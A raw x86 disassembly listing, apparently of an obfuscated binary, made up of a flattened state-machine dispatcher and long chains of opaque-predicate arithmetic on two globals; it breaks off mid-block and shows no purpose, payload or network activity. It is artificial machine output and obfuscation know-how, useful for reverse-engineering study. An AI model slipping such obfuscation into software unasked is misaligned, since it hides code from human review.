mov eax, dword [ebp - 0x84]
mov eax, 0x50874cf5
jmp 0x402780
cmp eax, 0x74880e6f
jg 0x408107
cmp eax, 0x737a39d8
je 0x40bdf7
cmp eax, 0x73ec971e
je 0x40bec2
cmp eax, 0x74576835
jne 0x402780
mov ecx, dword [0x497384]
mov edi, 0x59549df
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa574b0
mov esi, ecx
and esi, 0xff5a8b4e
and ecx, 0xd662d27e
or edx, esi
mov esi, edx
xor esi, 0x241030
xor edx, 0xb650834a
and edx, 0xb6d1e7ca
and esi, 0x492e1834
or esi, edx
mov edx, eax
or edx, 0xb6d1e7ca
and eax, 0x299d2d81
and edx, 0xb6d1e7cb
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x299d2d81
xor eax, 0xd662d27e
mov esi, 0x3775fe6c
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
sete cl
cmp dword [0x497380], 0xa
setl al
mov ah, al
xor al, cl
mov edx, eax
or ah, cl
xor dl, 1
mov ecx, edx
or dl, ah
xor cl, ah
xor dl, 1
or dl, cl
mov ecx, edx
mov ah, dl
xor cl, 1
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
mov edx, ecx
test cl, 1
not dl
cmovne esi, edi
test dl, al
mov edx, 0x3775fe6c
cmove esi, edx
cmovne esi, edi
test cl, 1
jmp 0x40f147
cmp eax, 0x92c712f7
jg 0x4081bc
cmp eax, 0x8f8eabd9
je 0x40becc
cmp eax, 0x8fb827b6
je 0x40c042
cmp eax, 0x920e0ff4
jne 0x402780
mov eax, dword [ebp - 0x58]
mov ecx, dword [0x497384]
mov esi, 0xfe62fad5
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x123050c6
and eax, 0xadc9a531
and ecx, 0x40060a08
or edx, ecx
xor edx, 0x123050c6
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9135d681
and ecx, 0x6eca297e
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x3cfc73b0
xor ecx, 0xc3038c4f
xor edx, 0xc3038c4e
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edx
cmp ecx, 0xffffffff
setne dl
cmp dword [0x497380], 0xa
setl ah
setge al
mov cl, ah
xor cl, dl
xor cl, 1
or cl, al
xor al, dl
or dl, ah
and al, ah
mov ah, dl
xor al, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xd3c684c9
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, 1
jmp 0x40a3e3
cmp eax, 0x10e1e932
jg 0x4081ed
cmp eax, 0xf8529da
je 0x40c239
cmp eax, 0x1002375b
je 0x40c302
cmp eax, 0x105ad684
jne 0x402780
mov eax, dword [ebp - 0x2c]
mov dword [eax], 5
mov eax, 0xabc6202
jmp 0x402780
cmp eax, 0xd3deed95
jg 0x408223
cmp eax, 0xd1b55f90
je 0x40c3b3
cmp eax, 0xd1e5c575
je 0x40c3cc
cmp eax, 0xd3c684c9
jne 0x402780
mov eax, 0xfe62fad5
jmp 0x402780
cmp eax, 0x53f81564
jg 0x408364
cmp eax, 0x52f5b7bf
je 0x40c3d6
cmp eax, 0x53a3126d
je 0x40c54c
cmp eax, 0x53c77720
jne 0x402780
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [0x497384]
cmp dword [eax + 4], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x8c]
imul eax, ecx
mov ecx, eax
xor ecx, 0x273c3e05
mov edx, eax
not edx
and ecx, eax
or eax, 0xd8c3c1fa
and edx, 0x22001004
mov esi, eax
and esi, 0xdffae3b
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf20051c4
or eax, esi
and esi, 0xdffae3b
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x33f90f43
and ecx, 0xcc06f0bc
or eax, ecx
mov edx, eax
xor edx, 0x14c53146
xor eax, 0xeb3aceb9
mov ecx, edx
mov esi, eax
and esi, 0x6dd0ce79
and ecx, 0x922f3186
and edx, 0x531f58af
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x98190574
and esi, 0x67e6fa8b
or ecx, esi
mov esi, eax
and esi, 0xace0a750
and eax, 1
or esi, edx
xor ecx, 0xf5c9cb0c
xor esi, 0x531f58ae
or eax, esi
mov esi, 0x546aed80
not eax
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x497380], 0xa
setl al
setge ah
and cl, ah
and al, dl
or ah, dl
or al, cl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
mov edx, 0x6ce62589
cmovne edx, esi
test al, al
mov esi, 0x6ce62589
jmp 0x40d9b2
cmp eax, 0xb1c59acc
jg 0x4084a7
cmp eax, 0xaf28bdf6
je 0x40c55c
cmp eax, 0xb18c9002
je 0x40c6c1
cmp eax, 0xb1bc31d3
jne 0x402780
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x19c]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, 0xe3f7f8de
jmp 0x402780
cmp eax, 0x349cd2a1
jg 0x408586
cmp eax, 0x31fd34f4
je 0x40c6cb
cmp eax, 0x33e4458c
je 0x40c82e
cmp eax, 0x33e723bd
jne 0x402780
mov eax, 0x7dc0d65c
jmp 0x402780
cmp eax, 0xf1735fcb
jg 0x4085c6
cmp eax, 0xf0cf726f
je 0x40c83e
cmp eax, 0xf0f01d9e
je 0x40c8e7
cmp eax, 0xf14c3961
jne 0x402780
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x38]
inc eax
mov dword [ecx], eax
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xda0f4c95
mov edx, eax
not edx
and ecx, eax
or eax, 0x25f0b36a
and edx, 0xd80a0895
mov edi, ecx
not edi
mov esi, eax
and esi, 0x2765f402
and ecx, 0xd89a0bfd
or eax, edi
and edi, 0x2765f402
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x53866289
and ecx, 0xac799d76
or eax, ecx
mov ecx, eax
xor eax, 0x447250a2
xor ecx, 0x89892e1c
mov edx, ecx
and eax, 0xc5f35aae
and ecx, 0x3a0ca551
and edx, 0xfffffffe
or ecx, eax
xor ecx, 0x3a0ca550
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x1086c638
and ecx, 0xae781947
and eax, 0x41012080
or edx, eax
xor edx, 0x1086c638
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x86ef7398
and eax, 0x79108c67
or ecx, eax
mov eax, ecx
xor eax, 0xc5201120
xor ecx, 0x208228c9
and ecx, 0x32caacc9
and eax, 0xcd355336
or eax, ecx
mov ecx, eax
xor ecx, 0xc1341002
xor eax, 0x124a8489
and eax, 0x1e4bc7bd
and ecx, 0xe1b43842
or ecx, eax
mov eax, ecx
xor eax, 0xc430409
xor ecx, 0xe0802842
and ecx, 0xf288ebf6
and eax, 0xd771409
or eax, ecx
xor eax, 0xd771409
sete al
setne cl
cmp dword [0x497380], 0xa
setl dl
setge ah
and al, ah
and dl, cl
or ah, cl
or al, dl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
or dl, ah
xor cl, ah
mov ch, dl
mov eax, 0x62ab8ed1
xor ch, cl
test dl, dl
mov edx, 0x239e2192
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0x62ab8ed1
cmove eax, edx
jmp 0x402780
cmp eax, 0x6ba4018c
jg 0x4085f1
cmp eax, 0x6a8c2296
je 0x40c8fa
cmp eax, 0x6b77b81f
je 0x40c904
cmp eax, 0x6b99e692
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa882ac
and eax, 0xee537052
and ecx, 0x11040d01
or edx, ecx
xor edx, 0xa882ac
or eax, edx
mov ecx, eax
not ecx
and eax, 0x648781a7
and ecx, 0x9b787e58
or eax, ecx
mov esi, eax
xor esi, 0x450b0400
xor eax, 0x8ad4f1f5
mov ecx, eax
and ecx, 0x3ab40ade
and esi, 0xc54bf521
or eax, 0x3e5a35d6
or esi, ecx
mov edx, eax
not edx
and eax, 0xc1a5ca28
mov ecx, esi
xor ecx, 0xc54bf521
xor esi, 0x22000284
mov edi, ecx
and edi, 0x3e5a35d6
or ecx, 1
and esi, 0xe34166a4
or edx, edi
and ecx, 0x1cbe995b
and edx, 0x3e5a35d7
or ecx, esi
or edx, eax
mov esi, edx
not esi
and edx, 0x26f27863
mov eax, esi
and eax, 0xd90d879c
or edx, eax
mov eax, ecx
xor eax, 0x4b21842
xor ecx, 0xe34166a4
or esi, ecx
and ecx, 0xd90d879c
and eax, 0x26f27862
or eax, ecx
not esi
xor eax, edx
or esi, eax
mov eax, esi
andn ecx, esi, esi
not esi
and eax, 0xe167d18e
and esi, 0x1e982e71
or eax, esi
mov edx, eax
xor edx, 0x6166d102
xor eax, 0x1e982e71
mov esi, eax
and esi, 0x928120fc
and edx, 0x6d7edf03
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6d7edf03
or eax, esi
and esi, 0x928120fc
or ecx, esi
not eax
mov esi, 0x1ec49f50
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x33837e28
and ecx, 0xcc7c81d7
or eax, ecx
mov ecx, eax
xor ecx, 0x31812408
xor eax, 0x882c0106
and eax, 0x8a2e5b26
and ecx, 0x75d1a4d9
or ecx, eax
mov eax, ecx
xor eax, 0x8025820
xor ecx, 0x20110419
and ecx, 0xa23d071f
and eax, 0x5dc2f8e0
or eax, ecx
xor eax, 0x5dc2f8e0
setne al
sete cl
cmp dword [0x497380], 0xa
setl ah
setge dl
and al, ah
and dl, cl
or ah, cl
or al, dl
mov edx, eax
xor dl, 1
mov ecx, edx
or dl, ah
xor cl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
mov edx, 0x78750ee3
xor cl, 1
or cl, ah
xor cl, al
mov ah, cl
test cl, 1
not ah
cmovne edx, esi
test ah, al
cmovne edx, esi
test cl, 1
mov ecx, edx
cmovne ecx, esi
test ah, al
mov eax, dword [ebp - 0x144]
cmove ecx, edx
movzx eax, word [eax]
mov edx, dword [ebp - 0x140]
cmp edx, eax
mov eax, ecx
setl byte [ebp - 0x95]
jmp 0x402780
cmp eax, 0x8afeff62
jg 0x40862b
cmp eax, 0x89b7b301
je 0x40cb23
cmp eax, 0x8a5bb1a5
je 0x40cb38
cmp eax, 0x8aec11c0
jne 0x402780
mov eax, 0xc8fdb84c
jmp 0x402780
cmp eax, 0xabc6201
jg 0x408656
cmp eax, 0x716a25a
je 0x40cc13
cmp eax, 0x97778ee
je 0x40cc1d
cmp eax, 0xa94f742
jne 0x402780
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, 0x7208dbbf
jmp 0x402780
cmp eax, 0xc98ad986
jg 0x40868f
cmp eax, 0xc743d048
je 0x40cc27
cmp eax, 0xc8996a1f
je 0x40cc34
cmp eax, 0xc8fdb84c
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0x5288f0f
andn edx, eax, esi
and esi, eax
mov ecx, esi
mov ebx, edx
not ecx
not ebx
and esi, 0xca8d3781
and edx, 0xca8d3781
mov edi, ecx
or ecx, ebx
and edi, 0x3572c87e
and ebx, 0x3572c87e
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, eax
not esi
or ecx, edx
and esi, 0xbef2e66e
mov edx, ecx
not edx
and ecx, 0xfad770f1
and edx, 0x5288f0e
or ecx, edx
mov edx, eax
and edx, 0x410d1991
and eax, 1
or edx, esi
mov esi, edx
xor esi, 0x9e90e06f
xor edx, 0x400c1110
or eax, esi
and edx, 0x606e1710
and eax, 0x9f91e8ef
or eax, edx
xor eax, 0x9f91e8ef
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcd2b47de
and ecx, 0x32d4b821
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe2eba726
and ecx, 0x1d1458d9
or eax, ecx
cmp eax, 0xd03f1f07
sete cl
cmp dword [0x497380], 0xa
setge al
setl ch
mov ah, al
xor ah, cl
xor ah, 1
or al, ah
and ah, cl
xor cl, ch
and cl, ch
xor ah, 1
mov edx, eax
xor cl, 1
mov ch, ah
xor dl, 1
xor ch, cl
or cl, ah
mov ah, al
xor cl, 1
and ah, dl
or cl, ch
xor ah, 1
mov ch, dl
xor ch, ah
or ah, dl
xor ah, 1
or ah, ch
mov dl, ah
and ah, cl
xor cl, 1
xor dl, 1
and dl, cl
or cl, al
or ah, dl
mov al, cl
mov edx, 0xf1735fcc
xor al, ah
test cl, 1
mov ecx, 0xe596edcd
cmovne ecx, edx
test ah, 1
cmove ecx, edx
test al, 1
mov eax, 0xe596edcd
jmp 0x402777
cmp eax, 0x4ee43c42
jg 0x4087d7
cmp eax, 0x4df61755
je 0x40cde4
cmp eax, 0x4e0811ca
je 0x40cdee
cmp eax, 0x4e5346ff
jne 0x402780
mov eax, dword [ebp - 0x38]
mov eax, 0xe5308c7a
jmp 0x402780
cmp eax, 0xaae15ca3
jg 0x40894c
cmp eax, 0xa9eabfab
je 0x40cf0c
cmp eax, 0xaa647ad8
je 0x40cf2a
cmp eax, 0xaae0237f
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0x1f8b0400
not edx
mov ecx, edx
and esi, eax
and ecx, 0x1f8b0400
and edx, 0xe044e09c
and eax, 0x1fbb1f63
or ecx, esi
not esi
or eax, edx
and esi, 0xe074fbfe
and ecx, 0x1f8b0401
mov edx, eax
xor edx, 0x1fbb1f63
xor eax, 0xe044e09c
or ecx, esi
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x497380], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov eax, 0x42aa10a1
xor dl, 1
mov ch, dl
or dl, cl
xor ch, cl
mov ebx, edx
xor bl, ch
test dl, dl
mov edx, 0x83718bf8
cmovne eax, edx
test ch, ch
cmove eax, edx
test bl, bl
mov edx, 0x42aa10a1
cmove eax, edx
jmp 0x402780
cmp eax, 0x2bea38c4
jg 0x408977
cmp eax, 0x26f30897
je 0x40d557
cmp eax, 0x278c9174
je 0x40d67e
cmp eax, 0x27c265c3
jne 0x402780
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x6c]
inc eax
mov dword [ecx], eax
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xe84f01b1
mov esi, edx
and esi, 0x17b0fe4e
and edx, 0x7ad105f0
or ecx, esi
mov esi, ecx
xor ecx, 0x1290944e
xor esi, 0x800500b0
or ecx, 0xd286b01
and esi, 0x900584fe
mov edi, ecx
and edi, 0x66d23300
or esi, edi
mov edi, eax
xor edi, 0xf2d794fe
and edi, eax
and eax, 0x852efa0f
mov ebx, edi
not ebx
and edi, 0x992dccff
or eax, edx
or ecx, ebx
and ebx, 0x66d23300
mov edx, eax
xor eax, 0x7ad105f0
xor edx, 0x852efa0f
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0xf96fc6bb
and esi, 0x6903944
or ecx, esi
mov esi, ecx
xor esi, 0xbb85244
xor ecx, 0xf447adbb
and eax, esi
and edx, ecx
mov esi, 0x1e9da749
or eax, edx
xor ecx, eax
test ecx, eax
setne ah
sete dl
cmp dword [0x497380], 0xa
mov ch, ah
setge cl
setl al
xor cl, ah
or ch, al
or dl, al
and cl, al
xor al, ah
xor ch, 1
mov ah, al
or al, dl
or cl, ch
xor ah, dl
xor al, 1
mov dh, cl
mov ch, cl
or al, ah
mov dl, al
xor dl, 1
mov ah, dl
xor dh, dl
or dl, cl
xor cl, 1
and ch, cl
and ah, al
xor dl, 1
xor ch, 1
xor ah, 1
or dl, dh
mov bl, ch
or ch, cl
xor bl, cl
mov cl, ah
or ah, al
xor ch, 1
xor cl, al
xor ah, 1
or ch, bl
mov al, dl
or ah, cl
xor ah, ch
mov ecx, 0xd3deed96
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, 1
cmove ecx, esi
test al, 1
mov eax, 0xd3deed96
jmp 0x402777
cmp eax, 0xec448626
jg 0x4089e9
cmp eax, 0xeba74e30
je 0x40d68b
cmp eax, 0xebdb5503
je 0x40d695
cmp eax, 0xebe95bbf
jne 0x402780
mov eax, 0xe0e5b5bc
jmp 0x402780
cmp eax, 0x7dc0d65b
jg 0x408ac5
cmp eax, 0x793c5c8d
je 0x40d7dd
cmp eax, 0x7adc7faa
je 0x40d8d3
cmp eax, 0x7b2add6c
jne 0x402780
mov eax, dword [ebp - 0x6c]
mov edi, 0xf5e8b9c8
mov eax, dword [eax]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x9a131837
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x65ece7c8
and ecx, 0x9a131837
or ecx, eax
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0x8ccf2014
and ecx, 0x7330dfeb
or ecx, eax
mov eax, edx
not eax
and edx, 0x164b14f4
mov esi, eax
and esi, 0xe9b4eb0b
or edx, esi
mov esi, ecx
xor esi, 0x120014e0
xor ecx, 0x8ccf2015
or eax, ecx
and ecx, 0xe9b4eb0b
and esi, 0x164b14f4
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x5c739cba
and edx, 0xa38c6345
or edx, esi
mov esi, ecx
not esi
and ecx, 0xa38c6345
or eax, esi
and esi, 0x5c739cba
or ecx, esi
not eax
mov esi, 0x51ebd623
xor ecx, edx
or eax, ecx
sete ah
setne dl
cmp dword [0x497380], 0xa
setge cl
setl al
mov ch, cl
or cl, ah
xor ch, dl
or dl, al
or al, ah
mov ah, dl
xor al, 1
xor ah, cl
or cl, dl
or al, ch
xor cl, 1
mov edx, eax
or cl, ah
xor dl, 1
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0xf5e8b9c8
or ah, cl
mov cl, ah
xor cl, al
test ah, 1
cmovne edx, esi
test al, 1
cmovne edx, edi
test cl, 1
jmp 0x40b075
cmp eax, 0x9bc95f9e
jg 0x408af0
cmp eax, 0x9b2a3169
je 0x40d8dd
cmp eax, 0x9b4817b6
je 0x40d8e7
cmp eax, 0x9b80ecac
jne 0x402780
mov eax, 0xf6388ef0
jmp 0x402780
cmp eax, 0x15f16697
jg 0x408b31
cmp eax, 0x14fadd7a
je 0x40d8f1
cmp eax, 0x14fee60e
je 0x40d8fb
cmp eax, 0x159b747d
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x216a4c3b
mov esi, eax
and esi, 0xde95b3c4
or edx, esi
mov esi, ecx
not esi
and ecx, 0x216a4c3b
or eax, esi
and esi, 0xde95b3c4
or ecx, esi
not eax
mov esi, 0xec448627
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6e776bfb
and ecx, 0x91889404
or eax, ecx
mov ecx, eax
xor ecx, 0x6e572100
xor eax, 0x91088404
and eax, 0x9128ceff
and ecx, 0x6ed73100
or ecx, eax
mov eax, ecx
xor eax, 0x9000c474
xor ecx, 0x6ed73100
mov edx, ecx
and edx, 0x277a0a8b
and eax, 0xd885f574
or eax, edx
xor eax, 0x277a0a8b
xor ecx, eax
test ecx, eax
setne ah
cmp dword [0x497380], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor cl, ah
xor ch, ah
xor al, 1
mov ah, cl
mov edx, ecx
or al, ch
xor dl, 1
xor ah, al
or al, cl
mov ch, dl
xor al, 1
or al, ah
mov ah, cl
and ah, dl
xor ah, 1
xor ch, ah
or ah, dl
mov edx, 0x2eb09fa0
xor ah, 1
or ah, ch
xor ah, al
or al, cl
mov ecx, eax
xor cl, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0x2eb09fa0
jmp 0x411b12
cmp eax, 0xde524801
jg 0x408d4f
cmp eax, 0xdaa3ec7e
je 0x40d9c1
cmp eax, 0xdb1cf4eb
je 0x40d9ce
cmp eax, 0xdcdd19a4
jne 0x402780
mov eax, dword [0x497384]
mov edi, 0x806b2be3
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xdaa5a9c9
and eax, 0x255a5636
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x84fed03e
and eax, 0x7b012fc1
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x5e5b79f6
xor eax, 0xa1a48608
xor edx, 0xa1a48609
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xc0b5263c
mov esi, ecx
and esi, 0x3f4ad9c3
or edx, esi
mov esi, eax
not esi
and eax, 0xc0b5263c
or ecx, esi
and esi, 0x3f4ad9c3
or eax, esi
not ecx
mov esi, 0x1e399b37
xor eax, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x5ed715d9
andn ecx, ecx, ecx
and edx, 0xa128ea26
or eax, edx
xor eax, 0x5ed715d9
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xb2cb1bef
and eax, 0x4d34e410
or eax, ecx
cmp eax, 0x4d34e410
sete dl
cmp dword [0x497380], 0xa
setl cl
setge al
mov ah, cl
or cl, dl
or al, dl
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
and ah, dl
mov edx, 0x806b2be3
xor cl, 1
or al, ah
xor al, cl
mov ah, al
cmovne edx, esi
not ah
test ah, cl
mov ecx, dword [ebp - 0xa4]
cmove edx, edi
cmovne edx, esi
test al, al
mov ecx, dword [ecx]
mov dword [ebp - 0x190], ecx
jmp 0x40940c
cmp eax, 0x58efb816
jg 0x408d7a
cmp eax, 0x585551fa
je 0x40d9d8
cmp eax, 0x58c9e24b
je 0x40dacb
cmp eax, 0x58ee1328
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xd8ef1af8
mov esi, edx
and esi, 0x2710e506
and edx, 0x834c1454
or ecx, esi
mov esi, ecx
xor esi, 0xc8c20a48
xor ecx, 0x2710e507
mov edi, ecx
and edi, 0x342db4b5
and esi, 0xcbd24b4a
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x7cb3ebab
mov ebx, edi
not ebx
and edi, 0xcbd24b4a
or eax, edx
or ecx, ebx
and ebx, 0x342db4b5
xor eax, 0x7cb3ebab
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edi, 0xc4dc1320
mov esi, ecx
not esi
and ecx, 0xac6f0383
and esi, 0x5390fc7c
or ecx, esi
mov esi, 0xa84d31ab
xor ecx, 0xac6f0383
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x497380], 0xa
mov ch, dl
setl al
setge cl
and dl, al
and ch, cl
and al, ah
or al, ch
xor al, 1
or al, cl
and cl, ah
xor al, 1
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test cl, 1
mov ecx, 0xc4dc1320
cmovne ecx, esi
test al, 1
cmove ecx, edi
test dl, 1
jmp 0x411f32
cmp eax, 0xb83dd748
je 0x40dae4
cmp eax, 0xb85dd78e
je 0x40dc3f
cmp eax, 0xb8b0ad4f
jne 0x402780
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x72040115
mov edx, eax
and edx, 0xa1c202
and eax, 0xcf5e34e1
or esi, edx
mov edx, ecx
and edx, 0x8d5a3ce8
xor esi, 0x72040115
or edx, esi
mov esi, edx
not esi
and edx, 0x72a5c316
and esi, 0x8d5a3ce9
or edx, esi
mov esi, edx
not esi
mov edi, edx
or edx, ecx
and ecx, 0x30a1cb1e
and edi, 0x30a1cb1e
and esi, 0xcf5e34e1
or eax, ecx
not edx
or esi, edi
xor eax, esi
mov esi, 0x7901760f
or edx, eax
cmp edx, 0xffffffff
sete cl
cmp dword [0x497380], 0xa
setl al
mov edx, eax
xor al, cl
or dl, cl
mov ecx, eax
xor cl, 1
mov ah, cl
and al, cl
xor ah, dl
or dl, cl
xor al, 1
xor dl, 1
mov dh, al
or al, cl
or dl, ah
xor dh, cl
xor al, 1
mov ah, dl
mov ch, dl
or al, dh
xor ah, 1
and ah, dl
xor ah, 1
xor ch, ah
or ah, dl
xor ah, 1
or ah, ch
mov dl, ah
mov bl, ah
xor dl, 1
and bl, dl
xor bl, 1
or bl, dl
or dl, cl
xor bl, 1
or bl, ah
mov ah, al
xor ah, 1
and ah, bl
xor bl, 1
and bl, al
mov al, dl
or bl, ah
xor al, bl
test dl, 1
mov edx, 0xab83f4f5
cmovne edx, esi
test bl, 1
cmove edx, esi
test al, 1
mov eax, 0xab83f4f5
jmp 0x411b18
cmp eax, 0x3c0d3b3c
je 0x40dc52
cmp eax, 0x3c7460d1
je 0x40de4e
cmp eax, 0x3df15948
jne 0x402780
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xd5483d0f
mov ecx, edx
and ecx, 0xf271cc0c
and eax, edx
not edx
and edx, 0xd8e33f3
or ecx, edx
mov edx, ecx
xor ecx, 0x5083103
xor edx, 0x400800
mov esi, ecx
or esi, 0x28064250
and edx, 0x5481801
and esi, 0xf806675e
or edx, esi
mov esi, eax
not esi
and eax, 0x7f998a1
or ecx, esi
and esi, 0xf806675e
or eax, esi
not ecx
xor eax, edx
or ecx, eax
not eax
and eax, 0x2ab7c2f0
and ecx, 0xd5483d0f
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x9bf571ad
and ecx, 0x1d88546a
mov eax, esi
and esi, 0x640a8e52
or eax, 1
or edx, esi
mov esi, eax
and esi, 0xe277ab95
or ecx, esi
mov esi, edx
xor esi, 0x19805028
xor edx, 0x640a8e53
or eax, edx
and edx, 0xe277ab95
and esi, 0x1d88546a
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, eax
or esi, 0x54197200
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x2b66047c
and ecx, eax
and esi, 0x5f5b7230
and edx, 0x2024044c
or edx, esi
mov esi, ecx
not esi
and ecx, 0xa0a48dcf
or eax, esi
and esi, 0x5f5b7230
or ecx, esi
not eax
mov esi, 0x49a99c41
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xd499fb83
and eax, 0x2b66047c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x23455bc8
and ecx, 0xdcbaa437
or eax, ecx
mov ecx, eax
xor ecx, 0x1050288
xor eax, 0x8c12a005
and eax, 0xae52f945
and ecx, 0x51ad06ba
or ecx, eax
mov eax, ecx
xor eax, 0x2a420901
xor ecx, 0x11040002
and ecx, 0x9514f046
and eax, 0x6aeb0fb9
or eax, ecx
xor eax, 0x6aeb0fb9
sete dl
setne ah
cmp dword [0x497380], 0xa
setge cl
setl al
and ah, al
and cl, dl
or al, dl
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, ecx
mov ch, al
xor dl, al
and al, cl
not ch
and dl, cl
and ch, ah
mov cl, dl
or al, ch
xor cl, al
test cl, 1
mov ecx, 0xa05cc3d8
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, esi
jmp 0x40f68d
cmp eax, 0xf70dccb0
je 0x40dfca
cmp eax, 0xf959ca22
je 0x40e077
cmp eax, 0xf95c5a13
jne 0x402780
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x110]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x10]
mov dword [ebp - 0x180], eax
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
mov esi, edx
xor esi, 0xc62b4648
not ecx
mov eax, ecx
and eax, 0xc62b4648
and esi, edx
and ecx, 0x3d7ac1f7
or eax, esi
not esi
and esi, 0x39d4b9b6
